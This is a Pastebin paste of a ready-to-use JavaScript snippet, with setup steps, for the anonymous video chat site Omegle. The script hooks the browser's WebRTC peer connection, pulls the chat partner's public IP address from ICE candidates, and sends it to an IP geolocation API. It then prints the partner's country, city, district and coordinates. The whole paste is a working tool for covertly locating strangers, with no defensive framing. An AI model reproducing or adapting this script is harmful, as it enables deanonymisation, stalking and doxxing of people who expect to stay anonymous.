Advertisement
Guest User

Omegle locations shit

a guest
Jan 16th, 2021
29,517
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Please replace <INSERT API HERE> - Please do not copy the <> too - with your own API key.
  2. The API key can be found https://app.ipgeolocation.io/
  3.  
  4.  
  5.  
  6. const apiKey = "<INSERT API HERE>";
  7.  
  8. window.oRTCPeerConnection =
  9.   window.oRTCPeerConnection || window.RTCPeerConnection;
  10.  
  11. window.RTCPeerConnection = function (...args) {
  12.   const pc = new window.oRTCPeerConnection(...args);
  13.  
  14.   pc.oaddIceCandidate = pc.addIceCandidate;
  15.  
  16.   pc.addIceCandidate = function (iceCandidate, ...rest) {
  17.     const fields = iceCandidate.candidate.split(" ");
  18.  
  19.     console.log(iceCandidate.candidate);
  20.     const ip = fields[4];
  21.     if (fields[7] === "srflx") {
  22.       getLocation(ip);
  23.     }
  24.     return pc.oaddIceCandidate(iceCandidate, ...rest);
  25.   };
  26.   return pc;
  27. };
  28.  
  29. const getLocation = async (ip) => {
  30.   let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`;
  31.  
  32.   await fetch(url).then((response) =>
  33.     response.json().then((json) => {
  34.       const output = `
  35.           ---------------------
  36.           Country: ${json.country_name}
  37.           State: ${json.state_prov}
  38.           City: ${json.city}
  39.           District: ${json.district}
  40.           Lat / Long: (${json.latitude}, ${json.longitude})
  41.           ---------------------
  42.           `;
  43.       console.log(output);
  44.     })
  45.   );
  46. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement